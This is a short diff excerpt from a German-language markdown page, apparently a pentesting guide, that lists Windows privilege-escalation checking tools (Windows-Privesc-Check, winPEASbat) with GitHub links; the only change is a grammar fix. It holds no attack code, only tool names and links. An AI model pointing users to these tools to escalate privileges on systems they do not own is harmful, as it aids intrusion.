 [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Überprüfen Sie auf mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut in Win10.
 
 **Bat**
 
-[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool, das auf diesem Beitrag basiert (es benötigt keinen accesschk, um ordnungsgemäß zu funktionieren, kann es aber verwenden).
+[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool, das auf diesem Beitrag basiert (es benötigt keinen accesschk, um ordnungsgemäß zu funktionieren, kann ihn aber verwenden).
 
 **Local**